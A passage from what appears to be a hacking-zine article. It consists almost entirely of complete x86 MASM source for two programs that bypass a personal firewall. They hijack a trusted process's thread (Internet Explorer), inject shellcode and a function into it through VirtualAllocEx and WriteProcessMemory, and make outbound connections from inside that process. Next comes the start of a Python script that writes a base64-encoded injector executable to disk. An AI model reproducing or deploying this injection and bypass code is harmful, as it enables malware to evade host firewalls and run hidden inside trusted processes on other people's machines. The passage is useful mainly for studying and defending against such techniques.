        IMUL    EAX,4                ; addresses are DWORD's
        INC     ECX                  ; Move the ECX pointer to the
                                     ; beginning of the next name

        MOV     EDX, expbase         ; Load exports directory
        MOV     EDX, [EDX+01CH]      ; EDX: array of entry points
        ADD     EDX, k32base         ; add the base address
        MOV     EDX, [EDX+EAX]       ; Lookup the Function RVA
        ADD     EDX, k32base         ; add the base address
        MOV     pGetProcAddress, EDX ; This will be correct once
                                     ; the loop is finished.

        ; Second stage of our forwarder check: If the 
        ; "entry point" of this function points to the
        ; next string in array #1, we just found a forwarder.
 
        CMP     EDX, ECX             ; forwarder check
        JNE     FWD                  ; ignore normal entry points
        INC     forwards             ; This was a forwarder

FWD:    POP     EAX                  ; Restore EAX iterator
        CMP     EBX, 099C95590H      ; hash value for "GetProcAddress"
        JNE     M1

        ; We have everything we wanted. I use a simple macro
        ; to load the functions by applying pGetProcAddress.

        LPROC   k32base, sGetModuleHandle, pGetModuleHandle
        LPROC   k32base, sLoadLibrary, pLoadLibrary
        LPROC   k32base, sFreeLibrary, pFreeLibrary


        PSHS    sUser32              ; we need user32.dll
        CALL    pGetModuleHandle     ; assume it is already loaded
        EJUMP   INJECT_ERROR         ; (we could use LoadLibrary)
        MOV     u32base,EAX          ; got it

        PSHS    sWS2_32              ; most important: winsock DLL
        CALL    pLoadLibrary         ; LoadLibrary("ws2_32.dll");
        EJUMP   INJECT_ERROR
        MOV     ws32base, EAX


        LPROC   u32base,sMessageBox,pMessageBox
        LPROC   ws32base,sWSAStartup,pWSAStartup
        LPROC   ws32base,sWSACleanup,pWSACleanup
        LPROC   ws32base,sSocket,pSocket
        LPROC   ws32base,sConnect,pConnect
        LPROC   ws32base,sSend,pSend
        LPROC   ws32base,sRecv,pRecv
        LPROC   ws32base,sClose,pClose

        PSHS   wsa                   ; see our artificial data segment
        PUSH   2                     ; Version 2 is fine
        CALL   pWSAStartup           ; Do the WSAStartup()
        CMP    EAX, 0
        JNE    INJECT_ERROR

        PUSH   0
        PUSH   SOCK_STREAM           ; A normal stream oriented socket
        PUSH   AF_INET               ; for Internet connections.
        CALL   pSocket               ; Create it.
        CMP    EAX, INVALID_SOCKET
        JE     INJECT_ERROR
        MOV    EBX,EAX

        PUSH   SIZEOF sockaddr       ; Connect to www.phrack.org:80
        PSHS   sAddr                 ; hardcoded structure
        PUSH   EBX                   ; that's our socket descriptor
        CALL   pConnect              ; connect() to phrack.org
        CMP    EAX, SOCKET_ERROR
        JE     INJECT_ERROR

        PUSH   0                     ; no flags
        PUSH   028H                  ; 40 bytes to send
        PSHS   sRequ                 ; the GET string
        PUSH   EBX                   ; socket descriptor
        CALL   pSend                 ; send() HTTP request
        CMP    EAX, SOCKET_ERROR
        JE     INJECT_ERROR


        ; We now have to receive the server's reply. We only
        ; want the HTTP header to display it in a message box
        ; as an indicator for a successful bypass. 
 

        MOV    ECX, 0                ; number of bytes received

PP:     MOV    EDX, iBase 
        ADD    EDX, OFFSET sRepl-inject

        ADD    EDX, ECX              ; EDX is the current position inside
                                     ; the string buffer
        PUSH   EDX
        PUSH   ECX

        PUSH   0                     ; no flags
        PUSH   1                     ; one byte to receive
        PUSH   EDX                   ; string buffer
        PUSH   EBX                   ; socket descriptor
        CALL   pRecv                 ; recv() the byte      

        POP    ECX
        POP    EDX

        CMP    AL, 1                 ; one byte received ?
        JNE    PPE                   ; an error occured
        CMP    ECX,2                 ; check if we already received
        JS     PP2                   ; more than 2 bytes

        MOV    AL, [EDX]             ; this is the byte we got
        CMP    AL, [EDX-2]           ; we are looking for <CRLF><CRLF>
        JNE    PP2
        CMP    AL, 10                ; we found it, most probably.
        JE     PPE                   ; we only want the headers.
        
PP2:    INC    ECX
        CMP    ECX,600               ; 600 byte maximum buffer size
        JNE    PP


PPE:    PUSH   EBX                   ; socket descriptor
        CALL   pClose                ; close the socket

        PUSH   64                    ; neat info icon and an ok button
        PSHS   sCap                  ; the caption string
        PSHS   sRepl                 ; www.phrack.org's HTTP header
        PUSH   0                     
        CALL   pMessageBox           ; display the message box.

        JMP    INJECT_SUCCESS        ; we were successful.

INJECT_SUCCESS:
        MOV    EAX, 1                ; return values are passed in EAX
        JMP    INJECT_CLEANUP
 
INJECT_ERROR:
        MOV    EAX, 0                ; boolean return value (success)

INJECT_CLEANUP:
        PUSH   EAX                   ; save our return value
        CMP    pWSACleanup,0
        JE     INJECT_DONE
        CALL   pWSACleanup           ; perform cleanup
        CMP    ws32base, 0           ; check if we have loaded ws2_32
        JE     INJECT_DONE
        PUSH   ws32base
        CALL   pFreeLibrary          ; release ws2_32.dll

INJECT_DONE:
        POP    EAX                   ; retore the return value  
        RET                          ; and return

inject  ENDP

inject_end: END Main




-[0x0C] :: tiny.exe source code ------------------------------------------

This is the ASM source code for the second bypass program.

.386
.MODEL flat, stdcall

  INCLUDE   windows.inc
  INCLUDE   kernel32.inc
  INCLUDE   advapi32.inc

  bypass    PROTO                     ; Tiny Firewall Bypass
  inject    PROTO, iBase:DWORD        ; injected function
  getsvc    PROTO, pProcessInfo:DWORD ; finds running, trusted process
  getdbg    PROTO                     ; enables the SE_DEBUG privilege
        

;       The PSHS macro is used to push the address of some
;       structure onto the stack inside the remote process'
;       address space. iBase contains the address where the
;       injected code starts. 

PSHS    MACRO  BUFFER
        MOV    EDX, iBase
        ADD    EDX, OFFSET BUFFER - inject
        PUSH   EDX
        ENDM
               
;       The LPROC macro assumes that pGetProcAddress holds
;       the address of the GetProcAddress() API call and
;       simulates its behaviour. PROCNAME is a string inside
;       the injected code that holds the function name and
;       PROCADDR is a DWORD variable inside the injected
;       code that will retrieve the address of that function.
;       BASEDLL, as the name suggests, should hold the 
;       base address of the appropriate DLL.
         
LPROC   MACRO  BASEDLL, PROCNAME, PROCADDR
        PSHS   PROCNAME
        PUSH   BASEDLL
        CALL   pGetProcAddress
        EJUMP  INJECT_ERROR
        MOV    PROCADDR, EAX
        ENDM

EJUMP   MACRO  TARGET_CODE ; jump when EAX is 0.
        CMP    EAX, 0
        JE     TARGET_CODE
        ENDM        
            

.DATA
        ; This is the name of a trusted process to search for.
        ; If you know what you are doing, you can play with
        ; if and see whether other applications work with the
        ; current code (aka hijack primary thread). 
        ; "OUTLOOK.EXE" works as well btw.
       
        TRUSTED      DB  "IEXPLORE.EXE",0
        
        
        SE_DEBUG     DB  "SeDebugPrivilege",0  ; debug privilege
        IEV_NAME     DB  "TINY0",0             ; our event name
        IEV_HANDLE   DD  ?                     ; event handle        
        FUNCSZE      EQU iend-istart           ; inject's size
        CODESZE      EQU 19                    ; size of our "shellcode"
        ALLSZE       EQU FUNCSZE + CODESZE     ; complete size
        FUNCADDR     EQU istart                ; offset of inject        
        
        ; JUMPDIFF is the number of bytes from the beginning of
        ; the shellcode to the jump instruction. It is required
        ; to calculate the value of JUMP_ADDR, see below.
        
        JUMPDIFF       EQU 14
        

        ; This "shellcode" will be injected to the trusted
        ; process directly in fron of the injector procedure
        ; itself. It will simply call the injector function
        ; with its base address as the first argument and
        ; jump back to the address where we hijacked the 
        ; thread afterwards. The addresses of our injected
        ; function (PUSH_ADDR) and the original EIP of the
        ; hijacked thread (JUMP_ADDR) will be calculated 
        ; at runtime, of course.
        
        SHELLCODE    LABEL BYTE
        
         PUSHAD_CODE DB 060H ; PUSHAD
         PUSHFD_CODE DB 09CH ; PUSHFD
         PUSH_CODE   DB 068H ; PUSH <function address>
         PUSH_ADDR   DD ?
         CALL_CODE   DB 0E8H ; CALL <function address>
         CALL_ADDR   DD 07H
         POPFD_CODE  DB 09DH ; POPFD
         POPAD_CODE  DB 061H ; POPAD
         JUMP_CODE   DB 0E9H ; JUMP <original EIP>
         JUMP_ADDR   DD ?
                             ; <injector function>
                             ; ...        
 
.CODE


Main: ; not much to do except calling
      ; the bypass function in this sample.
      
        INVOKE  bypass
        INVOKE  ExitProcess, 0


getdbg  PROC  ; enables the SE_DEBUG privilege for ourself
        LOCAL   token:HANDLE
        LOCAL   priv:TOKEN_PRIVILEGES 
        LOCAL   luid:LUID
        INVOKE  LookupPrivilegeValue, 0,OFFSET SE_DEBUG, ADDR luid
        EJUMP   DBE0
        MOV     priv.PrivilegeCount, 01H
        MOV     priv.Privileges.Attributes, 02H
        MOV     EAX,luid.LowPart
        MOV     priv.Privileges.Luid.LowPart,EAX
        MOV     EAX,luid.HighPart
        MOV     priv.Privileges.Luid.HighPart,EAX
        INVOKE  GetCurrentProcess
        MOV     ECX,EAX
        INVOKE  OpenProcessToken,ECX,020H, ADDR token
        MOV     ECX, token
        CMP     ECX, 0
        JE      DBE0
        INVOKE  AdjustTokenPrivileges,ECX,0,ADDR priv,0,0,0
        MOV     ECX,EAX
        INVOKE  CloseHandle, token
        MOV     EAX,ECX
DBE0:   RET
getdbg  ENDP



getsvc  PROC,   pProcessInfo:DWORD

        ; This function fills a PROCESS_INFORMATION
        ; structure with the ID and handle of the
        ; required trusted process and its primary
        ; thread. The tool helper API is used to
        ; retrieve this information.

        LOCAL   p32:PROCESSENTRY32
        LOCAL   t32:THREADENTRY32
        
        LOCAL   hShot:DWORD
        
        MOV     p32.dwSize, SIZEOF PROCESSENTRY32
        MOV     t32.dwSize, SIZEOF THREADENTRY32
        
        INVOKE  getdbg ; we need SE_DEBUG first
        
        ; Create a snapshot of all processes and
        ; threads. 06H is the appropriate bitmask
        ; for this purpose, look it up if you 
        ; dont trust me.
        
        INVOKE  CreateToolhelp32Snapshot,06H,0
        MOV     hShot,EAX
        
        ; Start to search for the trusted process.
        ; We will compare the name of the process'
        ; primary module with the string buffer
        ; TRUSTED until we find a match.
        
        INVOKE  Process32First, hShot, ADDR p32
        CMP     EAX, 0
        JE      GSE1

GSL:    LEA     EDX, p32.szExeFile
        INVOKE  lstrcmpi, EDX, OFFSET TRUSTED
        
        CMP     EAX, 0 ; lstrcmpi is not case sensitive!
        JE      GSL1   ; good, we found the process
        
        INVOKE  Process32Next, hShot, ADDR p32
        
        CMP     EAX, 0 ; no more processes,
        JE      GSE1   ; no success
        JMP     GSL    ; otherwise, continue loop
        
        ; We have found an instance of the trusted
        ; process, continue to retrieve information
        ; about its primary thread and gain an open
        ; handle to both the process itself and the
        ; thread. To find the thread, we have to
        ; loop through all thread entries in our 
        ; snapshot until we discover a thread that
        ; has been created by the process we found.
        
GSL1:   INVOKE  Thread32First, hShot, ADDR t32
        MOV     EBX, 0

TSL:    MOV     EDX, t32.th32OwnerProcessID
        CMP     EDX, p32.th32ProcessID
        JE      TSL0
        INVOKE  Thread32Next, hShot, ADDR t32
        CMP     EAX, 0 ; no more threads (weird),
        JE      GSE1   ; no success 
        JMP     TSL    ; otherwise, continue loop
        
        ; Now, since we have got the ID's of both
        ; the process itself and the primary thread,
        ; use OpenProcess() and OpenThread() to 
        ; get a handle to both of them. You are right,
        ; OpenThread is NOT a documented call, but
        ; it looks like that was rather an accident.
        ; It is exported by kernel32.dll just like
        ; OpenProcess().
        
TSL0:   MOV     EDX, pProcessInfo     ; the structure address

        MOV     EAX,p32.th32ProcessID ; copy the process ID
        MOV     [EDX+08H], EAX
        
        MOV     EAX, t32.th32ThreadID ; copy the thread ID
        MOV     [EDX+0CH], EAX
        
        PUSH    EDX                   ; safe the address
        
        
        INVOKE  OpenProcess, PROCESS_ALL_ACCESS, \
                0, p32.th32ProcessID
                
        CMP     EAX, 0
        JE      GSE1
        MOV     EBX, EAX
        
        INVOKE  OpenThread, THREAD_ALL_ACCESS, 0, \
                t32.th32ThreadID
                
        CMP     EAX, 0
        JE      GSE1
        
        POP     EDX                   ; restore the address
        MOV     [EDX], EBX            ; copy the process handle
        MOV     [EDX+04H], EAX        ; copy the thread handle
        
        PUSH    1                     ; success
        JMP     GSE0                   
           
GSE1:   PUSH    0                     ; failure

GSE0:   CMP     hShot, 0
        JE      GSE
        INVOKE  CloseHandle, hShot    ; cleanup

GSE:    POP     EAX                   ; pop the return value to EAX
        RET                           ; that's it.
        
getsvc  ENDP 

 

istart:

inject  PROC, iBase:DWORD


        LOCAL k32base          :DWORD
        LOCAL expbase          :DWORD
        LOCAL forwards         :DWORD
                        
        LOCAL pGetProcAddress  :DWORD
        LOCAL pGetModuleHandle :DWORD
        LOCAL pLoadLibrary     :DWORD
        LOCAL pFreeLibrary     :DWORD
        
        LOCAL pOpenEvent       :DWORD
        LOCAL pCloseHandle     :DWORD
        LOCAL pSetEvent        :DWORD
             
        LOCAL pMessageBox      :DWORD
        LOCAL u32base          :DWORD
        LOCAL ws32base         :DWORD
                        
        LOCAL pWSAStartup      :DWORD
        LOCAL pWSACleanup      :DWORD
        
        LOCAL pSocket          :DWORD
        LOCAL pConnect         :DWORD
        LOCAL pSend            :DWORD
        LOCAL pRecv            :DWORD
        LOCAL pClose           :DWORD
                        
        JMP IG


        sGetModuleHandle DB "GetModuleHandleA" ,0
        sLoadLibrary     DB "LoadLibraryA"     ,0
        sFreeLibrary     DB "FreeLibrary"      ,0
        
        sOpenEvent       DB "OpenEventA"       ,0
        sCloseHandle     DB "CloseHandle"      ,0
        sSetEvent        DB "SetEvent"         ,0
        sFWPEVENT        DB "TINY0"            ,0
                        
        sUser32          DB "USER32.DLL"       ,0
        sMessageBox      DB "MessageBoxA"      ,0
                        
        sGLA             DB "GetLastError"     ,0
        sWLA             DB "WSAGetLastError"  ,0
                        
        sWS2_32          DB "ws2_32.dll"       ,0
        sWSAStartup      DB "WSAStartup"       ,0
        sWSACleanup      DB "WSACleanup"       ,0
        sSocket          DB "socket"           ,0
        sConnect         DB "connect"          ,0
        sSend            DB "send"             ,0
        sRecv            DB "recv"             ,0
        sClose           DB "closesocket"      ,0

        wsa LABEL BYTE
         wVersion        DW 0
         wHighVersion    DW 0
         szDescription   DB WSADESCRIPTION_LEN+1 DUP(0)
         szSystemStatus  DB WSASYS_STATUS_LEN+1 DUP(0)
         iMaxSockets     DW 0
         iMaxUdpDg       DW 0
         lpVendorInfo    DD 0
                        
        sAddr LABEL BYTE
         sin_family      DW AF_INET
         sin_port        DW 05000H
         sin_addr        DD 006EE3745H
         sin_zero        DQ 0
                        

                
        sStartC          DB "SetUp Complete",0
        sStart           DB "Injector SetUp complete. ", \
                            "Sending request:",13,10,13,10
                
        sRequ            DB "GET / HTTP/1.0",13,10, \
                            "Host: www.phrack.org",\
                            13,10,13,10,0
                        
        sCap             DB "Injection successful",0
        sRepl            DB 601 DUP(0)

                  
IG:     ASSUME  FS:NOTHING           ; This is a MASM error bypass.      

        MOV     EAX, FS:[030H]       ; Get the Process Environment Block
        TEST    EAX, EAX             ; Check for Win9X
        JS      W9X

WNT:    MOV     EAX, [EAX+00CH]      ; WinNT: get PROCESS_MODULE_INFO
        MOV     ESI, [EAX+01CH]      ; Get fLink from ordered module list
        LODSD                        ; Load the address of bLink into eax
        MOV     EAX, [EAX+008H]      ; Copy the module base from the list
        JMP     K32                  ; Work done

W9X:    MOV     EAX, [EAX+034H]      ; Undocumented offset (0x34)
        LEA     EAX, [EAX+07CH]      ; ...
        MOV     EAX, [EAX+03CH]      ; ...
K32:    MOV     k32base,EAX          ; Keep a copy of the base address
        MOV     pGetProcAddress, 0   ; now search for GetProcAddress
        MOV     forwards,0           ; Set the forwards to 0 initially
        
        MOV     pWSACleanup, 0       ; we will need these for error -
        MOV     ws32base, 0          ; checks lateron
        MOV     pOpenEvent, 0

        ADD     EAX,[EAX+03CH]       ; pointer to IMAGE_NT_HEADERS
        MOV     EAX,[EAX+078H]       ; RVA of exports directory
        ADD     EAX,k32base          ; since RVA: add the base address
        MOV     expbase,EAX          ; IMAGE_EXPORTS_DIRECTORY
                        
        MOV     EAX,[EAX+020H]       ; RVA of the AddressOfNames array
        ADD     EAX,k32base          ; add the base address
                        
        MOV     ECX,[EAX]            ; ECX: RVA of the first string
        ADD     ECX,k32base          ; add the base address
        
        MOV     EAX,0                ; EAX will serve as a counter
        JMP     M2                   ; start looping

M1:     INC     EAX                  ; Increase EAX every loop
M2:     MOV     EBX, 0               ; EBX will be the calculated hash

HASH:   MOV     EDX, EBX
        SHL     EBX, 05H
        SHR     EDX, 01BH
        OR      EBX, EDX
        MOV     EDX, 0
        MOV      DL, [ECX]           ; Copy current character to DL
        ADD     EBX, EDX             ; and add DL to the hash value
        INC     ECX                  ; increase the string pointer
        MOV      DL, [ECX]           ; next character in DL, now:
        CMP     EDX, 0               ; check for null character
        JNE     HASH


        ; This is where we take care of the forwarders.
        ; we will always subtract the number of forwarders
        ; that already occured from our iterator (EAX) to
        ; retrieve the appropriate offset from the second
        ; array. 

        PUSH    EAX                  ; Safe EAX to the stack
        SUB     EAX,forwards         ; Subtract forwards
        IMUL    EAX,4                ; addresses are DWORD's
        INC     ECX                  ; Move the ECX pointer to the
                                     ; beginning of the next name

        MOV     EDX, expbase         ; Load exports directory
        MOV     EDX, [EDX+01CH]      ; EDX: array of entry points
        ADD     EDX, k32base         ; add the base address
        MOV     EDX, [EDX+EAX]       ; Lookup the Function RVA
        ADD     EDX, k32base         ; add the base address
        MOV     pGetProcAddress, EDX ; This will be correct once
                                     ; the loop is finished.

        ; Second stage of our forwarder check: If the 
        ; "entry point" of this function points to the
        ; next string in array #1, we just found a forwarder.
 
        CMP     EDX, ECX             ; forwarder check
        JNE     FWD                  ; ignore normal entry points
        INC     forwards             ; This was a forwarder

FWD:    POP     EAX                  ; Restore EAX iterator
        CMP     EBX, 099C95590H      ; hash value for "GetProcAddress"
        JNE     M1

        ; We have everything we wanted. I use a simple macro
        ; to load the functions by applying pGetProcAddress.

        LPROC   k32base, sGetModuleHandle, pGetModuleHandle
        LPROC   k32base, sLoadLibrary, pLoadLibrary
        LPROC   k32base, sFreeLibrary, pFreeLibrary
        
        LPROC   k32base, sOpenEvent, pOpenEvent
        LPROC   k32base, sCloseHandle, pCloseHandle
        LPROC   k32base, sSetEvent, pSetEvent


        PSHS    sUser32              ; we need user32.dll
        CALL    pGetModuleHandle     ; assume it is already loaded
        EJUMP   INJECT_ERROR         ; (we could use LoadLibrary)
        MOV     u32base,EAX          ; got it

        PSHS    sWS2_32              ; most important: winsock DLL
        CALL    pLoadLibrary         ; LoadLibrary("ws2_32.dll");
        EJUMP   INJECT_ERROR
        MOV     ws32base, EAX


        LPROC   u32base,sMessageBox,pMessageBox
        LPROC   ws32base,sWSAStartup,pWSAStartup
        LPROC   ws32base,sWSACleanup,pWSACleanup
        LPROC   ws32base,sSocket,pSocket
        LPROC   ws32base,sConnect,pConnect
        LPROC   ws32base,sSend,pSend
        LPROC   ws32base,sRecv,pRecv
        LPROC   ws32base,sClose,pClose

        PSHS    wsa                  ; see our artificial data segment
        PUSH    2                    ; Version 2 is fine
        CALL    pWSAStartup          ; Do the WSAStartup()
        CMP     EAX, 0
        JNE     INJECT_ERROR

        PUSH    0
        PUSH    SOCK_STREAM          ; A normal stream oriented socket
        PUSH    AF_INET              ; for Internet connections.
        CALL    pSocket              ; Create it.
        CMP     EAX, INVALID_SOCKET
        JE      INJECT_ERROR
        MOV     EBX,EAX

        PUSH    SIZEOF sockaddr      ; Connect to www.phrack.org:80
        PSHS    sAddr                ; hardcoded structure
        PUSH    EBX                  ; that's our socket descriptor
        CALL    pConnect             ; connect() to phrack.org
        CMP     EAX, SOCKET_ERROR
        JE      INJECT_ERROR

        PUSH    0                    ; no flags
        PUSH    028H                 ; 40 bytes to send
        PSHS    sRequ                ; the GET string
        PUSH    EBX                  ; socket descriptor
        CALL    pSend                ; send() HTTP request
        CMP     EAX, SOCKET_ERROR
        JE      INJECT_ERROR


        ; We now have to receive the server's reply. We only
        ; want the HTTP header to display it in a message box
        ; as an indicator for a successful bypass. 
 

        MOV     ECX, 0               ; number of bytes received

PP:     MOV     EDX, iBase 
        ADD     EDX, OFFSET sRepl-inject

        ADD     EDX, ECX             ; EDX is the current position inside
                                     ; the string buffer
        PUSH    EDX
        PUSH    ECX

        PUSH    0                    ; no flags
        PUSH    1                    ; one byte to receive
        PUSH    EDX                  ; string buffer
        PUSH    EBX                  ; socket descriptor
        CALL    pRecv                ; recv() the byte      

        POP     ECX
        POP     EDX

        CMP     AL, 1                ; one byte received ?
        JNE     PPE                  ; an error occured
        CMP     ECX,2                ; check if we already received
        JS      PP2                  ; more than 2 bytes

        MOV     AL, [EDX]            ; this is the byte we got
        CMP     AL, [EDX-2]          ; we are looking for <CRLF><CRLF>
        JNE     PP2
        CMP     AL, 10               ; we found it, most probably.
        JE      PPE                  ; we only want the headers.
        
PP2:    INC     ECX
        CMP     ECX,600              ; 600 byte maximum buffer size
        JNE     PP


PPE:    PUSH    EBX                  ; socket descriptor
        CALL    pClose               ; close the socket

        PUSH    64                   ; neat info icon and an ok button
        PSHS    sCap                 ; the caption string
        PSHS    sRepl                ; www.phrack.org's HTTP header
        PUSH    0                     
        CALL    pMessageBox          ; display the message box.

        JMP     INJECT_SUCCESS       ; we were successful.

INJECT_SUCCESS:
        PUSH    1                    ; return success
        JMP     INJECT_CLEANUP
 
INJECT_ERROR:
        PUSH    0                    ; return failure

INJECT_CLEANUP:

        PUSH    EAX                  ; save our return value
        CMP     pWSACleanup,0
        JE      INJECT_DONE
        CALL    pWSACleanup          ; perform cleanup
        CMP     ws32base, 0          ; check if we have loaded ws2_32
        JE      INJECT_DONE
        PUSH    ws32base
        CALL    pFreeLibrary         ; release ws2_32.dll
        
        ; the following code is the only real difference
        ; to the code in sample #1. It is used to signal
        ; an event with the name "TINY0" so that the 
        ; injector executable knows when this code has
        ; done its job.

        CMP     pOpenEvent, 0        
        JE      INJECT_DONE
        
        PSHS    sFWPEVENT            ; "TINY0"
        PUSH    0                    ; not inheritable
        PUSH    EVENT_ALL_ACCESS     ; whatever
        CALL    pOpenEvent           ; open the event
        CMP     EAX, 0
        JE      INJECT_DONE
        MOV     EBX, EAX
        
        PUSH    EBX
        CALL    pSetEvent            ; signal the event
        
        PUSH    EBX
        CALL    pCloseHandle         ; close the handle

INJECT_DONE:

        POP     EAX
        RET                          ; and return

inject  ENDP
iend:


 
bypass  PROC

        LOCAL   pinf             :PROCESS_INFORMATION
        LOCAL   mct              :CONTEXT
        
        LOCAL   dwReturn         :DWORD ; return value
        LOCAL   dwRemoteThreadID :DWORD ; remote thread ID
        LOCAL   pbRemoteMemory   :DWORD ; remote base address 

        MOV     pinf.hProcess, 0
        MOV     pinf.hThread, 0
        
        ; First of all, creat the even that we need to get
        ; informed about the progress of our injected code.
        
        INVOKE  CreateEvent, 0, 1, 0, OFFSET IEV_NAME
        EJUMP   BPE5
        MOV     IEV_HANDLE, EAX
 
        ; Find a suitable, trusted process that we can use
        ; to hijack its primary thread. We will then pause
        ; that primary thread and make sure that its suspend
        ; count is exactly 1. It might seem a bit too careful,
        ; but if the primary thread is already suspended at 
        ; the moment of infection, we have a problem. Thus,
        ; we will rather make sure with some more commands 
        ; that the thread can be resumed with a single call
        ; to ResumeThread().
 
        INVOKE  getsvc, ADDR pinf
        EJUMP   BPE5
        
        INVOKE  SuspendThread, pinf.hThread
        
        CMP     EAX, 0FFFFFFFFH
        JE      BPE3
        CMP     EAX, 0
        JE      SPOK
SPL:    INVOKE  ResumeThread, pinf.hThread
        CMP     EAX, 1
        JNE     SPL        
        
        ; Here we go, the thread is paused and ready to be
        ; hijacked. First, we get the EIP register along with
        ; some others that do not interest us.
        
SPOK:   MOV     mct.ContextFlags, CONTEXT_CONTROL    
        INVOKE  GetThreadContext, pinf.hThread, ADDR mct 
        EJUMP   BPE2
        
        ; Now, allocate memory in the remote process' address
        ; space for the shellcode and the injected function
        
        INVOKE  VirtualAllocEx,pinf.hProcess,0,ALLSZE, \
                MEM_COMMIT,PAGE_EXECUTE_READWRITE
        EJUMP   BPE2       
        MOV     pbRemoteMemory,EAX

        
        MOV     EBX, EAX         ; EBX: remote base address
        
        ADD     EAX, CODESZE     ; this is the future address
        MOV     PUSH_ADDR, EAX   ; of the inject function
        
        MOV     EAX, mct.regEip  ; this is the current EIP
        MOV     EDX, EBX         ; EDX: remote base address
        ADD     EDX, JUMPDIFF    ; EDX: absolute address of JMP call
        
        ; Now we calculate the distance between the JMP call and
        ; the current EIP. The JMP CPU instruction is followed by
        ; a double word that contains the relative number of bytes
        ; to jump away from the current position. This is a signed
        ; long value which is basically added to the EIP register.
        ; To calculate the appropriate value, we need to subtract
        ; the position of the JMP call from the offset we want to
        ; jump to and subtract another 5 byte since the JMP
        ; instruction itself has that length.
        
        SUB     EAX, EDX
        SUB     EAX, 05H
        MOV     JUMP_ADDR, EAX  
        
        ; Our shellcode is now complete, we will write it along
        ; with the inject function itself to the remote process.

        INVOKE  WriteProcessMemory,pinf.hProcess,EBX, \
                OFFSET SHELLCODE,CODESZE,0
        EJUMP   BPE1
        ADD     EBX, CODESZE
        
        INVOKE  WriteProcessMemory,pinf.hProcess,EBX, \
                FUNCADDR,FUNCSZE,0
        EJUMP   BPE1

        ; Done. Now hijack the primary thread by resetting its
        ; instruction pointer to continue the flow of execution
        ; at the offset of our own, injected code

        MOV     EDX, pbRemoteMemory
        MOV     mct.regEip, EDX
        
        INVOKE  SetThreadContext, pinf.hThread, ADDR mct
        EJUMP   BPE1
        
        ; And let the thread continue ...
        
        INVOKE  ResumeThread, pinf.hThread
        CMP     EAX, 0FFFFFFFFH
        JE      BPE1

        ; Now this is where we are making use of the event we
        ; created. We will wait until the injected code signals
        ; the event (at a reasonable timeout) and sleep for
        ; another second to make sure our code has done its 
        ; job completely before we start with the cleanup.

        INVOKE  WaitForSingleObject, IEV_HANDLE, 60000
        CMP     EAX, 0
        JE      BPOK

        ; However, if something goes wrong it is better
        ; to terminate the thread as silently as possible.
        
        INVOKE  TerminateThread, pinf.hThread, 1
               
BPOK:   INVOKE  Sleep, 1000
              
BPE1:   INVOKE  VirtualFreeEx,pinf.hProcess, \
                pbRemoteMemory,ALLSZE,MEM_RELEASE
                
BPE2:   INVOKE  ResumeThread, pinf.hThread
     
BPE3:   CMP     pinf.hThread, 0
        JE      BPE4
        INVOKE  CloseHandle,pinf.hThread
BPE4:   CMP     pinf.hProcess, 0
        JE      BPE5
        INVOKE  CloseHandle,pinf.hProcess
BPE5:   INVOKE  CloseHandle, IEV_HANDLE
        RET

bypass  ENDP

END Main



-[0x0D] :: binaries (base64) ---------------------------------------------

These are the binary version of the two sample applications for
everyone who is unable to get the Assembler I used. Actually, the
files below are python scripts that will decode the base64 -
encoded versions of the executables and create the respective
binary file in its current directory. If you do not use python,
you will have to find another way to decode them properly.


############################# injector.py #############################

from base64 import decodestring
open("injector.exe","wb").write(decodestring("""
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAsAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB86B1FOIlzFjiJcxY4iXMWtpZgFiCJcxbEqWEWOY
lzFlJpY2g4iXMWAAAAAAAAAABQRQAATAEDAO9yckAAAAAAAAAAAOAADwELAQUMAAoAAAAG
AAAAAAAAABAAAAAQAAAAIAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABAAAAABA
AAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAEwgAABQAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAATAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAC50ZXh0AAAAzgkAAAAQAAAACgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAC
wCAAAAIAAAAAQAAAAOAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABCAQAAADAAAAACAAAA
EgAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGg2MEAAaBowQABoAAAAgOiiCQAAg/gAdSto
PjFAAGg6MEAAUP81NjBAAOiNCQAA/zU2MEAA6HYJAABoOjBAAOgHAAAAagDoNQkAAFWL7I
PEnI1FvFDoMgkAAGbHRewAAI1FrFCNRbxQagBqAGoAagBqAGoA/3UIagDo9ggAAIP4AA+E
xAAAAGgQJwAA/3Ws6DQJAACD+AAPha4AAACLXayLTbC6BwgAAGpAaAAQAABSagBT6OAIAA
CD+AAPhKIAAACJRZy6BwgAAGoAUmhnEUAA/3WcU+jQCAAAg/gAdFyNRaRQagD/dZz/dZxq
